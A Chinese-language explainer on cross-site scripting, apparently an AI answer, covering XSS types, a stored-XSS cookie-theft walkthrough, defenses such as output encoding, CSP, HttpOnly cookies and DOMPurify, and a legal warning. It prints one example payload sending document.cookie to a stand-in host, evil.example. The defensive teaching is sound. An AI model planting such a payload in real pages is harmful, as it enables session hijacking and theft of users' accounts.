XSS(跨站脚本攻击)的核心原理一句话:攻击者把可执行脚本注入网页,让脚本在"受害者自己的浏览器、以该网站的身份"运行,从而绕过同源策略窃取本应只属于该网站的数据。下面我先用文字讲清机制和例子,再给你一张流程示意图。
三种类型(按注入与执行方式)
| 类型 | 注入方式 | 触发条件 | 危害范围 |
|---|---|---|---|
| 存储型(Stored) | 脚本存入服务器数据库(评论区、昵称、留言板) | 任何用户打开该页面即触发 | 最大,可批量感染所有访客 |
| 反射型(Reflected) | 脚本藏在 URL 参数里,被服务器原样"反射"回页面 | 受害者点击攻击者构造的链接 | 单点触发,需诱导点击 |
| DOM 型 | 不经过服务器,在浏览器端处理数据时拼接执行(如 innerHTML、location.hash) | 受害者打开特定链接 | 单点触发,服务器日志难以察觉 |
举例:存储型 XSS 窃取登录态(教材级示意)
假设某论坛的评论区对用户输入不转义、原样展示:
- 攻击者在评论框提交一段看似普通、实则可执行的文本(典型教材示例,如
<script>new Image().src='[https://evil.example/c?='+document.cookie</script>](https://evil.example/c?='+document.cookie</script>),或利用onerror属性的<img>写法); - 服务器不识别、不过滤,把它存进数据库;其他用户打开帖子时,浏览器把这段内容当作本站的合法代码执行;
- 脚本读取当前页面域下的
document.cookie(只要 Cookie 没设 HttpOnly),把会话凭证回传到攻击者的服务器; - 攻击者拿到 Cookie 后即可"冒充"该用户登录(会话劫持 Session Hijacking),读取私信、订单、个人资料,甚至代发起转账、改密等操作。
除 Cookie 外,注入脚本还能窃取:CSRF Token (绕过转账/改密防护)、localStorage 里的令牌 、页面 DOM 内容 (页面上的敏感信息)、键盘输入 (记录密码)、剪贴板等。
为什么能做到"非法获取"
关键在权限错位:脚本运行在受害者的浏览器进程里,天然拥有当前网站的完整同源权限;而网站没有对"用户输入"和"自己的代码"做边界区分。攻击者甚至不需要攻破服务器,只借受害者的浏览器当"代理"即可。
防护要点(按阻断环节)
- 输出编码/转义 (最有效):把
<、>、"、'转义,用户内容永远按"文本"输出,而不是被浏览器解析为 HTML/JS; - 输入校验:白名单校验用户输入;
- CSP 内容安全策略:禁止内联脚本、限制脚本来源域名;
- Cookie 加固 :设置
HttpOnly(JS 读不到)+Secure+SameSite; - DOM 安全操作 :用
textContent/createTextNode,避免用innerHTML拼接用户数据; - 使用成熟的 sanitizer 库(如 DOMPurify)清洗富文本。
⚠️ 法律提示:对他人网站 进行未授权的 XSS 测试、利用属违法行为(可能触及《刑法》第 285 条非法获取计算机信息系统数据罪等)。以上内容仅用于安全防御学习和自有系统的漏洞自查。
下面这张图把"注入 → 存储 → 执行 → 窃取 → 回传 → 冒用"的完整链路和可阻断点画了出来:
